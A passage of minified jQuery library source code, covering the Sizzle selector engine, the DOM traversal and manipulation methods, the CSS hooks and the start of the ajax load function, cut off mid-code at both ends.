f=0,g=a.length,h;f<g;f++)if(h=a[f]){while((h=h.previousSibling)&&h.nodeType!==1);a[f]=e||h&&h.nodeName.toLowerCase()===b?h||!1:h===b}e&&m.filter(b,a,!0)},">":function(a,b){var c,d=typeof b=="string",e=0,f=a.length;if(d&&!l.test(b)){b=b.toLowerCase();for(;e<f;e++){c=a[e];if(c){var g=c.parentNode;a[e]=g.nodeName.toLowerCase()===b?g:!1}}}else{for(;e<f;e++)c=a[e],c&&(a[e]=d?c.parentNode:c.parentNode===b);d&&m.filter(b,a,!0)}},"":function(a,b,c){var d,f=e++,g=x;typeof b=="string"&&!l.test(b)&&(b=b.toLowerCase(),d=b,g=w),g("parentNode",b,f,a,d,c)},"~":function(a,b,c){var d,f=e++,g=x;typeof b=="string"&&!l.test(b)&&(b=b.toLowerCase(),d=b,g=w),g("previousSibling",b,f,a,d,c)}},find:{ID:function(a,b,c){if(typeof b.getElementById!="undefined"&&!c){var d=b.getElementById(a[1]);return d&&d.parentNode?[d]:[]}},NAME:function(a,b){if(typeof b.getElementsByName!="undefined"){var c=[],d=b.getElementsByName(a[1]);for(var e=0,f=d.length;e<f;e++)d[e].getAttribute("name")===a[1]&&c.push(d[e]);return c.length===0?null:c}},TAG:function(a,b){if(typeof b.getElementsByTagName!="undefined")return b.getElementsByTagName(a[1])}},preFilter:{CLASS:function(a,b,c,d,e,f){a=" "+a[1].replace(j,"")+" ";if(f)return a;for(var g=0,h;(h=b[g])!=null;g++)h&&(e^(h.className&&(" "+h.className+" ").replace(/[\t\n\r]/g," ").indexOf(a)>=0)?c||d.push(h):c&&(b[g]=!1));return!1},ID:function(a){return a[1].replace(j,"")},TAG:function(a,b){return a[1].replace(j,"").toLowerCase()},CHILD:function(a){if(a[1]==="nth"){a[2]||m.error(a[0]),a[2]=a[2].replace(/^\+|\s*/g,"");var b=/(-?)(\d*)(?:n([+\-]?\d*))?/.exec(a[2]==="even"&&"2n"||a[2]==="odd"&&"2n+1"||!/\D/.test(a[2])&&"0n+"+a[2]||a[2]);a[2]=b[1]+(b[2]||1)-0,a[3]=b[3]-0}else a[2]&&m.error(a[0]);a[0]=e++;return a},ATTR:function(a,b,c,d,e,f){var g=a[1]=a[1].replace(j,"");!f&&o.attrMap[g]&&(a[1]=o.attrMap[g]),a[4]=(a[4]||a[5]||"").replace(j,""),a[2]==="~="&&(a[4]=" "+a[4]+" ");return a},PSEUDO:function(b,c,d,e,f){if(b[1]==="not")if((a.exec(b[3])||"").length>1||/^\w/.test(b[3]))b[3]=m(b[3],null,null,c);else{var g=m.filter(b[3],c,d,!0^f);d||e.push.apply(e,g);return!1}else if(o.match.POS.test(b[0])||o.match.CHILD.test(b[0]))return!0;return b},POS:function(a){a.unshift(!0);return a}},filters:{enabled:function(a){return a.disabled===!1&&a.type!=="hidden"},disabled:function(a){return a.disabled===!0},checked:function(a){return a.checked===!0},selected:function(a){a.parentNode&&a.parentNode.selectedIndex;return a.selected===!0},parent:function(a){return!!a.firstChild},empty:function(a){return!a.firstChild},has:function(a,b,c){return!!m(c[3],a).length},header:function(a){return/h\d/i.test(a.nodeName)},text:function(a){var b=a.getAttribute("type"),c=a.type;return a.nodeName.toLowerCase()==="input"&&"text"===c&&(b===c||b===null)},radio:function(a){return a.nodeName.toLowerCase()==="input"&&"radio"===a.type},checkbox:function(a){return a.nodeName.toLowerCase()==="input"&&"checkbox"===a.type},file:function(a){return a.nodeName.toLowerCase()==="input"&&"file"===a.type},password:function(a){return a.nodeName.toLowerCase()==="input"&&"password"===a.type},submit:function(a){var b=a.nodeName.toLowerCase();return(b==="input"||b==="button")&&"submit"===a.type},image:function(a){return a.nodeName.toLowerCase()==="input"&&"image"===a.type},reset:function(a){var b=a.nodeName.toLowerCase();return(b==="input"||b==="button")&&"reset"===a.type},button:function(a){var b=a.nodeName.toLowerCase();return b==="input"&&"button"===a.type||b==="button"},input:function(a){return/input|select|textarea|button/i.test(a.nodeName)},focus:function(a){return a===a.ownerDocument.activeElement}},setFilters:{first:function(a,b){return b===0},last:function(a,b,c,d){return b===d.length-1},even:function(a,b){return b%2===0},odd:function(a,b){return b%2===1},lt:function(a,b,c){return b<c[3]-0},gt:function(a,b,c){return b>c[3]-0},nth:function(a,b,c){return c[3]-0===b},eq:function(a,b,c){return c[3]-0===b}},filter:{PSEUDO:function(a,b,c,d){var e=b[1],f=o.filters[e];if(f)return f(a,c,b,d);if(e==="contains")return(a.textContent||a.innerText||n([a])||"").indexOf(b[3])>=0;if(e==="not"){var g=b[3];for(var h=0,i=g.length;h<i;h++)if(g[h]===a)return!1;return!0}m.error(e)},CHILD:function(a,b){var c,e,f,g,h,i,j,k=b[1],l=a;switch(k){case"only":case"first":while(l=l.previousSibling)if(l.nodeType===1)return!1;if(k==="first")return!0;l=a;case"last":while(l=l.nextSibling)if(l.nodeType===1)return!1;return!0;case"nth":c=b[2],e=b[3];if(c===1&&e===0)return!0;f=b[0],g=a.parentNode;if(g&&(g[d]!==f||!a.nodeIndex)){i=0;for(l=g.firstChild;l;l=l.nextSibling)l.nodeType===1&&(l.nodeIndex=++i);g[d]=f}j=a.nodeIndex-e;return c===0?j===0:j%c===0&&j/c>=0}},ID:function(a,b){return a.nodeType===1&&a.getAttribute("id")===b},TAG:function(a,b){return b==="*"&&a.nodeType===1||!!a.nodeName&&a.nodeName.toLowerCase()===b},CLASS:function(a,b){return(" "+(a.className||a.getAttribute("class"))+" ").indexOf(b)>-1},ATTR:function(a,b){var c=b[1],d=m.attr?m.attr(a,c):o.attrHandle[c]?o.attrHandle[c](a):a[c]!=null?a[c]:a.getAttribute(c),e=d+"",f=b[2],g=b[4];return d==null?f==="!=":!f&&m.attr?d!=null:f==="="?e===g:f==="*="?e.indexOf(g)>=0:f==="~="?(" "+e+" ").indexOf(g)>=0:g?f==="!="?e!==g:f==="^="?e.indexOf(g)===0:f==="$="?e.substr(e.length-g.length)===g:f==="|="?e===g||e.substr(0,g.length+1)===g+"-":!1:e&&d!==!1},POS:function(a,b,c,d){var e=b[2],f=o.setFilters[e];if(f)return f(a,c,b,d)}}},p=o.match.POS,q=function(a,b){return"\\"+(b-0+1)};for(var r in o.match)o.match[r]=new RegExp(o.match[r].source+/(?![^\[]*\])(?![^\(]*\))/.source),o.leftMatch[r]=new RegExp(/(^(?:.|\r|\n)*?)/.source+o.match[r].source.replace(/\\(\d+)/g,q));o.match.globalPOS=p;var s=function(a,b){a=Array.prototype.slice.call(a,0);if(b){b.push.apply(b,a);return b}return a};try{Array.prototype.slice.call(c.documentElement.childNodes,0)[0].nodeType}catch(t){s=function(a,b){var c=0,d=b||[];if(g.call(a)==="[object Array]")Array.prototype.push.apply(d,a);else if(typeof a.length=="number")for(var e=a.length;c<e;c++)d.push(a[c]);else for(;a[c];c++)d.push(a[c]);return d}}var u,v;c.documentElement.compareDocumentPosition?u=function(a,b){if(a===b){h=!0;return 0}if(!a.compareDocumentPosition||!b.compareDocumentPosition)return a.compareDocumentPosition?-1:1;return a.compareDocumentPosition(b)&4?-1:1}:(u=function(a,b){if(a===b){h=!0;return 0}if(a.sourceIndex&&b.sourceIndex)return a.sourceIndex-b.sourceIndex;var c,d,e=[],f=[],g=a.parentNode,i=b.parentNode,j=g;if(g===i)return v(a,b);if(!g)return-1;if(!i)return 1;while(j)e.unshift(j),j=j.parentNode;j=i;while(j)f.unshift(j),j=j.parentNode;c=e.length,d=f.length;for(var k=0;k<c&&k<d;k++)if(e[k]!==f[k])return v(e[k],f[k]);return k===c?v(a,f[k],-1):v(e[k],b,1)},v=function(a,b,c){if(a===b)return c;var d=a.nextSibling;while(d){if(d===b)return-1;d=d.nextSibling}return 1}),function(){var a=c.createElement("div"),d="script"+(new Date).getTime(),e=c.documentElement;a.innerHTML="<a name='"+d+"'/>",e.insertBefore(a,e.firstChild),c.getElementById(d)&&(o.find.ID=function(a,c,d){if(typeof c.getElementById!="undefined"&&!d){var e=c.getElementById(a[1]);return e?e.id===a[1]||typeof e.getAttributeNode!="undefined"&&e.getAttributeNode("id").nodeValue===a[1]?[e]:b:[]}},o.filter.ID=function(a,b){var c=typeof a.getAttributeNode!="undefined"&&a.getAttributeNode("id");return a.nodeType===1&&c&&c.nodeValue===b}),e.removeChild(a),e=a=null}(),function(){var a=c.createElement("div");a.appendChild(c.createComment("")),a.getElementsByTagName("*").length>0&&(o.find.TAG=function(a,b){var c=b.getElementsByTagName(a[1]);if(a[1]==="*"){var d=[];for(var e=0;c[e];e++)c[e].nodeType===1&&d.push(c[e]);c=d}return c}),a.innerHTML="<a href='#'></a>",a.firstChild&&typeof a.firstChild.getAttribute!="undefined"&&a.firstChild.getAttribute("href")!=="#"&&(o.attrHandle.href=function(a){return a.getAttribute("href",2)}),a=null}(),c.querySelectorAll&&function(){var a=m,b=c.createElement("div"),d="__sizzle__";b.innerHTML="<p class='TEST'></p>";if(!b.querySelectorAll||b.querySelectorAll(".TEST").length!==0){m=function(b,e,f,g){e=e||c;if(!g&&!m.isXML(e)){var h=/^(\w+$)|^\.([\w\-]+$)|^#([\w\-]+$)/.exec(b);if(h&&(e.nodeType===1||e.nodeType===9)){if(h[1])return s(e.getElementsByTagName(b),f);if(h[2]&&o.find.CLASS&&e.getElementsByClassName)return s(e.getElementsByClassName(h[2]),f)}if(e.nodeType===9){if(b==="body"&&e.body)return s([e.body],f);if(h&&h[3]){var i=e.getElementById(h[3]);if(!i||!i.parentNode)return s([],f);if(i.id===h[3])return s([i],f)}try{return s(e.querySelectorAll(b),f)}catch(j){}}else if(e.nodeType===1&&e.nodeName.toLowerCase()!=="object"){var k=e,l=e.getAttribute("id"),n=l||d,p=e.parentNode,q=/^\s*[+~]/.test(b);l?n=n.replace(/'/g,"\\$&"):e.setAttribute("id",n),q&&p&&(e=e.parentNode);try{if(!q||p)return s(e.querySelectorAll("[id='"+n+"'] "+b),f)}catch(r){}finally{l||k.removeAttribute("id")}}}return a(b,e,f,g)};for(var e in a)m[e]=a[e];b=null}}(),function(){var a=c.documentElement,b=a.matchesSelector||a.mozMatchesSelector||a.webkitMatchesSelector||a.msMatchesSelector;if(b){var d=!b.call(c.createElement("div"),"div"),e=!1;try{b.call(c.documentElement,"[test!='']:sizzle")}catch(f){e=!0}m.matchesSelector=function(a,c){c=c.replace(/\=\s*([^'"\]]*)\s*\]/g,"='$1']");if(!m.isXML(a))try{if(e||!o.match.PSEUDO.test(c)&&!/!=/.test(c)){var f=b.call(a,c);if(f||!d||a.document&&a.document.nodeType!==11)return f}}catch(g){}return m(c,null,null,[a]).length>0}}}(),function(){var a=c.createElement("div");a.innerHTML="<div class='test e'></div><div class='test'></div>";if(!!a.getElementsByClassName&&a.getElementsByClassName("e").length!==0){a.lastChild.className="e";if(a.getElementsByClassName("e").length===1)return;o.order.splice(1,0,"CLASS"),o.find.CLASS=function(a,b,c){if(typeof b.getElementsByClassName!="undefined"&&!c)return b.getElementsByClassName(a[1])},a=null}}(),c.documentElement.contains?m.contains=function(a,b){return a!==b&&(a.contains?a.contains(b):!0)}:c.documentElement.compareDocumentPosition?m.contains=function(a,b){return!!(a.compareDocumentPosition(b)&16)}:m.contains=function(){return!1},m.isXML=function(a){var b=(a?a.ownerDocument||a:0).documentElement;return b?b.nodeName!=="HTML":!1};var y=function(a,b,c){var d,e=[],f="",g=b.nodeType?[b]:b;while(d=o.match.PSEUDO.exec(a))f+=d[0],a=a.replace(o.match.PSEUDO,"");a=o.relative[a]?a+"*":a;for(var h=0,i=g.length;h<i;h++)m(a,g[h],e,c);return m.filter(f,e)};m.attr=f.attr,m.selectors.attrMap={},f.find=m,f.expr=m.selectors,f.expr[":"]=f.expr.filters,f.unique=m.uniqueSort,f.text=m.getText,f.isXMLDoc=m.isXML,f.contains=m.contains}();var L=/Until$/,M=/^(?:parents|prevUntil|prevAll)/,N=/,/,O=/^.[^:#\[\.,]*$/,P=Array.prototype.slice,Q=f.expr.match.globalPOS,R={children:!0,contents:!0,next:!0,prev:!0};f.fn.extend({find:function(a){var b=this,c,d;if(typeof a!="string")return f(a).filter(function(){for(c=0,d=b.length;c<d;c++)if(f.contains(b[c],this))return!0});var e=this.pushStack("","find",a),g,h,i;for(c=0,d=this.length;c<d;c++){g=e.length,f.find(a,this[c],e);if(c>0)for(h=g;h<e.length;h++)for(i=0;i<g;i++)if(e[i]===e[h]){e.splice(h--,1);break}}return e},has:function(a){var b=f(a);return this.filter(function(){for(var a=0,c=b.length;a<c;a++)if(f.contains(this,b[a]))return!0})},not:function(a){return this.pushStack(T(this,a,!1),"not",a)},filter:function(a){return this.pushStack(T(this,a,!0),"filter",a)},is:function(a){return!!a&&(typeof a=="string"?Q.test(a)?f(a,this.context).index(this[0])>=0:f.filter(a,this).length>0:this.filter(a).length>0)},closest:function(a,b){var c=[],d,e,g=this[0];if(f.isArray(a)){var h=1;while(g&&g.ownerDocument&&g!==b){for(d=0;d<a.length;d++)f(g).is(a[d])&&c.push({selector:a[d],elem:g,level:h});g=g.parentNode,h++}return c}var i=Q.test(a)||typeof a!="string"?f(a,b||this.context):0;for(d=0,e=this.length;d<e;d++){g=this[d];while(g){if(i?i.index(g)>-1:f.find.matchesSelector(g,a)){c.push(g);break}g=g.parentNode;if(!g||!g.ownerDocument||g===b||g.nodeType===11)break}}c=c.length>1?f.unique(c):c;return this.pushStack(c,"closest",a)},index:function(a){if(!a)return this[0]&&this[0].parentNode?this.prevAll().length:-1;if(typeof a=="string")return f.inArray(this[0],f(a));return f.inArray(a.jquery?a[0]:a,this)},add:function(a,b){var c=typeof a=="string"?f(a,b):f.makeArray(a&&a.nodeType?[a]:a),d=f.merge(this.get(),c);return this.pushStack(S(c[0])||S(d[0])?d:f.unique(d))},andSelf:function(){return this.add(this.prevObject)}}),f.each({parent:function(a){var b=a.parentNode;return b&&b.nodeType!==11?b:null},parents:function(a){return f.dir(a,"parentNode")},parentsUntil:function(a,b,c){return f.dir(a,"parentNode",c)},next:function(a){return f.nth(a,2,"nextSibling")},prev:function(a){return f.nth(a,2,"previousSibling")},nextAll:function(a){return f.dir(a,"nextSibling")},prevAll:function(a){return f.dir(a,"previousSibling")},nextUntil:function(a,b,c){return f.dir(a,"nextSibling",c)},prevUntil:function(a,b,c){return f.dir(a,"previousSibling",c)},siblings:function(a){return f.sibling((a.parentNode||{}).firstChild,a)},children:function(a){return f.sibling(a.firstChild)},contents:function(a){return f.nodeName(a,"iframe")?a.contentDocument||a.contentWindow.document:f.makeArray(a.childNodes)}},function(a,b){f.fn[a]=function(c,d){var e=f.map(this,b,c);L.test(a)||(d=c),d&&typeof d=="string"&&(e=f.filter(d,e)),e=this.length>1&&!R[a]?f.unique(e):e,(this.length>1||N.test(d))&&M.test(a)&&(e=e.reverse());return this.pushStack(e,a,P.call(arguments).join(","))}}),f.extend({filter:function(a,b,c){c&&(a=":not("+a+")");return b.length===1?f.find.matchesSelector(b[0],a)?[b[0]]:[]:f.find.matches(a,b)},dir:function(a,c,d){var e=[],g=a[c];while(g&&g.nodeType!==9&&(d===b||g.nodeType!==1||!f(g).is(d)))g.nodeType===1&&e.push(g),g=g[c];return e},nth:function(a,b,c,d){b=b||1;var e=0;for(;a;a=a[c])if(a.nodeType===1&&++e===b)break;return a},sibling:function(a,b){var c=[];for(;a;a=a.nextSibling)a.nodeType===1&&a!==b&&c.push(a);return c}});var V="abbr|article|aside|audio|bdi|canvas|data|datalist|details|figcaption|figure|footer|header|hgroup|mark|meter|nav|output|progress|section|summary|time|video",W=/ jQuery\d+="(?:\d+|null)"/g,X=/^\s+/,Y=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/ig,Z=/<([\w:]+)/,$=/<tbody/i,_=/<|&#?\w+;/,ba=/<(?:script|style)/i,bb=/<(?:script|object|embed|option|style)/i,bc=new RegExp("<(?:"+V+")[\\s/>]","i"),bd=/checked\s*(?:[^=]|=\s*.checked.)/i,be=/\/(java|ecma)script/i,bf=/^\s*<!(?:\[CDATA\[|\-\-)/,bg={option:[1,"<select multiple='multiple'>","</select>"],legend:[1,"<fieldset>","</fieldset>"],thead:[1,"<table>","</table>"],tr:[2,"<table><tbody>","</tbody></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],col:[2,"<table><tbody></tbody><colgroup>","</colgroup></table>"],area:[1,"<map>","</map>"],_default:[0,"",""]},bh=U(c);bg.optgroup=bg.option,bg.tbody=bg.tfoot=bg.colgroup=bg.caption=bg.thead,bg.th=bg.td,f.support.htmlSerialize||(bg._default=[1,"div<div>","</div>"]),f.fn.extend({text:function(a){return f.access(this,function(a){return a===b?f.text(this):this.empty().append((this[0]&&this[0].ownerDocument||c).createTextNode(a))},null,a,arguments.length)},wrapAll:function(a){if(f.isFunction(a))return this.each(function(b){f(this).wrapAll(a.call(this,b))});if(this[0]){var b=f(a,this[0].ownerDocument).eq(0).clone(!0);this[0].parentNode&&b.insertBefore(this[0]),b.map(function(){var a=this;while(a.firstChild&&a.firstChild.nodeType===1)a=a.firstChild;return a}).append(this)}return this},wrapInner:function(a){if(f.isFunction(a))return this.each(function(b){f(this).wrapInner(a.call(this,b))});return this.each(function(){var b=f(this),c=b.contents();c.length?c.wrapAll(a):b.append(a)})},wrap:function(a){var b=f.isFunction(a);return this.each(function(c){f(this).wrapAll(b?a.call(this,c):a)})},unwrap:function(){return this.parent().each(function(){f.nodeName(this,"body")||f(this).replaceWith(this.childNodes)}).end()},append:function(){return this.domManip(arguments,!0,function(a){this.nodeType===1&&this.appendChild(a)})},prepend:function(){return this.domManip(arguments,!0,function(a){this.nodeType===1&&this.insertBefore(a,this.firstChild)})},before:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,!1,function(a){this.parentNode.insertBefore(a,this)});if(arguments.length){var a=f
-.clean(arguments);a.push.apply(a,this.toArray());return this.pushStack(a,"before",arguments)}},after:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,!1,function(a){this.parentNode.insertBefore(a,this.nextSibling)});if(arguments.length){var a=this.pushStack(this,"after",arguments);a.push.apply(a,f.clean(arguments));return a}},remove:function(a,b){for(var c=0,d;(d=this[c])!=null;c++)if(!a||f.filter(a,[d]).length)!b&&d.nodeType===1&&(f.cleanData(d.getElementsByTagName("*")),f.cleanData([d])),d.parentNode&&d.parentNode.removeChild(d);return this},empty:function(){for(var a=0,b;(b=this[a])!=null;a++){b.nodeType===1&&f.cleanData(b.getElementsByTagName("*"));while(b.firstChild)b.removeChild(b.firstChild)}return this},clone:function(a,b){a=a==null?!1:a,b=b==null?a:b;return this.map(function(){return f.clone(this,a,b)})},html:function(a){return f.access(this,function(a){var c=this[0]||{},d=0,e=this.length;if(a===b)return c.nodeType===1?c.innerHTML.replace(W,""):null;if(typeof a=="string"&&!ba.test(a)&&(f.support.leadingWhitespace||!X.test(a))&&!bg[(Z.exec(a)||["",""])[1].toLowerCase()]){a=a.replace(Y,"<$1></$2>");try{for(;d<e;d++)c=this[d]||{},c.nodeType===1&&(f.cleanData(c.getElementsByTagName("*")),c.innerHTML=a);c=0}catch(g){}}c&&this.empty().append(a)},null,a,arguments.length)},replaceWith:function(a){if(this[0]&&this[0].parentNode){if(f.isFunction(a))return this.each(function(b){var c=f(this),d=c.html();c.replaceWith(a.call(this,b,d))});typeof a!="string"&&(a=f(a).detach());return this.each(function(){var b=this.nextSibling,c=this.parentNode;f(this).remove(),b?f(b).before(a):f(c).append(a)})}return this.length?this.pushStack(f(f.isFunction(a)?a():a),"replaceWith",a):this},detach:function(a){return this.remove(a,!0)},domManip:function(a,c,d){var e,g,h,i,j=a[0],k=[];if(!f.support.checkClone&&arguments.length===3&&typeof j=="string"&&bd.test(j))return this.each(function(){f(this).domManip(a,c,d,!0)});if(f.isFunction(j))return this.each(function(e){var g=f(this);a[0]=j.call(this,e,c?g.html():b),g.domManip(a,c,d)});if(this[0]){i=j&&j.parentNode,f.support.parentNode&&i&&i.nodeType===11&&i.childNodes.length===this.length?e={fragment:i}:e=f.buildFragment(a,this,k),h=e.fragment,h.childNodes.length===1?g=h=h.firstChild:g=h.firstChild;if(g){c=c&&f.nodeName(g,"tr");for(var l=0,m=this.length,n=m-1;l<m;l++)d.call(c?bi(this[l],g):this[l],e.cacheable||m>1&&l<n?f.clone(h,!0,!0):h)}k.length&&f.each(k,function(a,b){b.src?f.ajax({type:"GET",global:!1,url:b.src,async:!1,dataType:"script"}):f.globalEval((b.text||b.textContent||b.innerHTML||"").replace(bf,"/*$0*/")),b.parentNode&&b.parentNode.removeChild(b)})}return this}}),f.buildFragment=function(a,b,d){var e,g,h,i,j=a[0];b&&b[0]&&(i=b[0].ownerDocument||b[0]),i.createDocumentFragment||(i=c),a.length===1&&typeof j=="string"&&j.length<512&&i===c&&j.charAt(0)==="<"&&!bb.test(j)&&(f.support.checkClone||!bd.test(j))&&(f.support.html5Clone||!bc.test(j))&&(g=!0,h=f.fragments[j],h&&h!==1&&(e=h)),e||(e=i.createDocumentFragment(),f.clean(a,i,e,d)),g&&(f.fragments[j]=h?e:1);return{fragment:e,cacheable:g}},f.fragments={},f.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(a,b){f.fn[a]=function(c){var d=[],e=f(c),g=this.length===1&&this[0].parentNode;if(g&&g.nodeType===11&&g.childNodes.length===1&&e.length===1){e[b](this[0]);return this}for(var h=0,i=e.length;h<i;h++){var j=(h>0?this.clone(!0):this).get();f(e[h])[b](j),d=d.concat(j)}return this.pushStack(d,a,e.selector)}}),f.extend({clone:function(a,b,c){var d,e,g,h=f.support.html5Clone||f.isXMLDoc(a)||!bc.test("<"+a.nodeName+">")?a.cloneNode(!0):bo(a);if((!f.support.noCloneEvent||!f.support.noCloneChecked)&&(a.nodeType===1||a.nodeType===11)&&!f.isXMLDoc(a)){bk(a,h),d=bl(a),e=bl(h);for(g=0;d[g];++g)e[g]&&bk(d[g],e[g])}if(b){bj(a,h);if(c){d=bl(a),e=bl(h);for(g=0;d[g];++g)bj(d[g],e[g])}}d=e=null;return h},clean:function(a,b,d,e){var g,h,i,j=[];b=b||c,typeof b.createElement=="undefined"&&(b=b.ownerDocument||b[0]&&b[0].ownerDocument||c);for(var k=0,l;(l=a[k])!=null;k++){typeof l=="number"&&(l+="");if(!l)continue;if(typeof l=="string")if(!_.test(l))l=b.createTextNode(l);else{l=l.replace(Y,"<$1></$2>");var m=(Z.exec(l)||["",""])[1].toLowerCase(),n=bg[m]||bg._default,o=n[0],p=b.createElement("div"),q=bh.childNodes,r;b===c?bh.appendChild(p):U(b).appendChild(p),p.innerHTML=n[1]+l+n[2];while(o--)p=p.lastChild;if(!f.support.tbody){var s=$.test(l),t=m==="table"&&!s?p.firstChild&&p.firstChild.childNodes:n[1]==="<table>"&&!s?p.childNodes:[];for(i=t.length-1;i>=0;--i)f.nodeName(t[i],"tbody")&&!t[i].childNodes.length&&t[i].parentNode.removeChild(t[i])}!f.support.leadingWhitespace&&X.test(l)&&p.insertBefore(b.createTextNode(X.exec(l)[0]),p.firstChild),l=p.childNodes,p&&(p.parentNode.removeChild(p),q.length>0&&(r=q[q.length-1],r&&r.parentNode&&r.parentNode.removeChild(r)))}var u;if(!f.support.appendChecked)if(l[0]&&typeof (u=l.length)=="number")for(i=0;i<u;i++)bn(l[i]);else bn(l);l.nodeType?j.push(l):j=f.merge(j,l)}if(d){g=function(a){return!a.type||be.test(a.type)};for(k=0;j[k];k++){h=j[k];if(e&&f.nodeName(h,"script")&&(!h.type||be.test(h.type)))e.push(h.parentNode?h.parentNode.removeChild(h):h);else{if(h.nodeType===1){var v=f.grep(h.getElementsByTagName("script"),g);j.splice.apply(j,[k+1,0].concat(v))}d.appendChild(h)}}}return j},cleanData:function(a){var b,c,d=f.cache,e=f.event.special,g=f.support.deleteExpando;for(var h=0,i;(i=a[h])!=null;h++){if(i.nodeName&&f.noData[i.nodeName.toLowerCase()])continue;c=i[f.expando];if(c){b=d[c];if(b&&b.events){for(var j in b.events)e[j]?f.event.remove(i,j):f.removeEvent(i,j,b.handle);b.handle&&(b.handle.elem=null)}g?delete i[f.expando]:i.removeAttribute&&i.removeAttribute(f.expando),delete d[c]}}}});var bp=/alpha\([^)]*\)/i,bq=/opacity=([^)]*)/,br=/([A-Z]|^ms)/g,bs=/^[\-+]?(?:\d*\.)?\d+$/i,bt=/^-?(?:\d*\.)?\d+(?!px)[^\d\s]+$/i,bu=/^([\-+])=([\-+.\de]+)/,bv=/^margin/,bw={position:"absolute",visibility:"hidden",display:"block"},bx=["Top","Right","Bottom","Left"],by,bz,bA;f.fn.css=function(a,c){return f.access(this,function(a,c,d){return d!==b?f.style(a,c,d):f.css(a,c)},a,c,arguments.length>1)},f.extend({cssHooks:{opacity:{get:function(a,b){if(b){var c=by(a,"opacity");return c===""?"1":c}return a.style.opacity}}},cssNumber:{fillOpacity:!0,fontWeight:!0,lineHeight:!0,opacity:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{"float":f.support.cssFloat?"cssFloat":"styleFloat"},style:function(a,c,d,e){if(!!a&&a.nodeType!==3&&a.nodeType!==8&&!!a.style){var g,h,i=f.camelCase(c),j=a.style,k=f.cssHooks[i];c=f.cssProps[i]||i;if(d===b){if(k&&"get"in k&&(g=k.get(a,!1,e))!==b)return g;return j[c]}h=typeof d,h==="string"&&(g=bu.exec(d))&&(d=+(g[1]+1)*+g[2]+parseFloat(f.css(a,c)),h="number");if(d==null||h==="number"&&isNaN(d))return;h==="number"&&!f.cssNumber[i]&&(d+="px");if(!k||!("set"in k)||(d=k.set(a,d))!==b)try{j[c]=d}catch(l){}}},css:function(a,c,d){var e,g;c=f.camelCase(c),g=f.cssHooks[c],c=f.cssProps[c]||c,c==="cssFloat"&&(c="float");if(g&&"get"in g&&(e=g.get(a,!0,d))!==b)return e;if(by)return by(a,c)},swap:function(a,b,c){var d={},e,f;for(f in b)d[f]=a.style[f],a.style[f]=b[f];e=c.call(a);for(f in b)a.style[f]=d[f];return e}}),f.curCSS=f.css,c.defaultView&&c.defaultView.getComputedStyle&&(bz=function(a,b){var c,d,e,g,h=a.style;b=b.replace(br,"-$1").toLowerCase(),(d=a.ownerDocument.defaultView)&&(e=d.getComputedStyle(a,null))&&(c=e.getPropertyValue(b),c===""&&!f.contains(a.ownerDocument.documentElement,a)&&(c=f.style(a,b))),!f.support.pixelMargin&&e&&bv.test(b)&&bt.test(c)&&(g=h.width,h.width=c,c=e.width,h.width=g);return c}),c.documentElement.currentStyle&&(bA=function(a,b){var c,d,e,f=a.currentStyle&&a.currentStyle[b],g=a.style;f==null&&g&&(e=g[b])&&(f=e),bt.test(f)&&(c=g.left,d=a.runtimeStyle&&a.runtimeStyle.left,d&&(a.runtimeStyle.left=a.currentStyle.left),g.left=b==="fontSize"?"1em":f,f=g.pixelLeft+"px",g.left=c,d&&(a.runtimeStyle.left=d));return f===""?"auto":f}),by=bz||bA,f.each(["height","width"],function(a,b){f.cssHooks[b]={get:function(a,c,d){if(c)return a.offsetWidth!==0?bB(a,b,d):f.swap(a,bw,function(){return bB(a,b,d)})},set:function(a,b){return bs.test(b)?b+"px":b}}}),f.support.opacity||(f.cssHooks.opacity={get:function(a,b){return bq.test((b&&a.currentStyle?a.currentStyle.filter:a.style.filter)||"")?parseFloat(RegExp.$1)/100+"":b?"1":""},set:function(a,b){var c=a.style,d=a.currentStyle,e=f.isNumeric(b)?"alpha(opacity="+b*100+")":"",g=d&&d.filter||c.filter||"";c.zoom=1;if(b>=1&&f.trim(g.replace(bp,""))===""){c.removeAttribute("filter");if(d&&!d.filter)return}c.filter=bp.test(g)?g.replace(bp,e):g+" "+e}}),f(function(){f.support.reliableMarginRight||(f.cssHooks.marginRight={get:function(a,b){return f.swap(a,{display:"inline-block"},function(){return b?by(a,"margin-right"):a.style.marginRight})}})}),f.expr&&f.expr.filters&&(f.expr.filters.hidden=function(a){var b=a.offsetWidth,c=a.offsetHeight;return b===0&&c===0||!f.support.reliableHiddenOffsets&&(a.style&&a.style.display||f.css(a,"display"))==="none"},f.expr.filters.visible=function(a){return!f.expr.filters.hidden(a)}),f.each({margin:"",padding:"",border:"Width"},function(a,b){f.cssHooks[a+b]={expand:function(c){var d,e=typeof c=="string"?c.split(" "):[c],f={};for(d=0;d<4;d++)f[a+bx[d]+b]=e[d]||e[d-2]||e[0];return f}}});var bC=/%20/g,bD=/\[\]$/,bE=/\r?\n/g,bF=/#.*$/,bG=/^(.*?):[ \t]*([^\r\n]*)\r?$/mg,bH=/^(?:color|date|datetime|datetime-local|email|hidden|month|number|password|range|search|tel|text|time|url|week)$/i,bI=/^(?:about|app|app\-storage|.+\-extension|file|res|widget):$/,bJ=/^(?:GET|HEAD)$/,bK=/^\/\//,bL=/\?/,bM=/<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi,bN=/^(?:select|textarea)/i,bO=/\s+/,bP=/([?&])_=[^&]*/,bQ=/^([\w\+\.\-]+:)(?:\/\/([^\/?#:]*)(?::(\d+))?)?/,bR=f.fn.load,bS={},bT={},bU,bV,bW=["*/"]+["*"];try{bU=e.href}catch(bX){bU=c.createElement("a"),bU.href="",bU=bU.href}bV=bQ.exec(bU.toLowerCase())||[],f.fn.extend({load:function(a,c,d){if(typeof a!="string"&&bR)return bR.apply(this,arguments);if(!this.length)return this;var e=a.indexOf(" ");if(e>=0){var g=a.slice(e,a.length);a=a.slice(0,e)}var h="GET";c&&(f.isFunction(c)?(d=c,c=b):typeof c=="object"&&(c=f.param(c,f.ajaxSettings.traditional),h="POST"));var 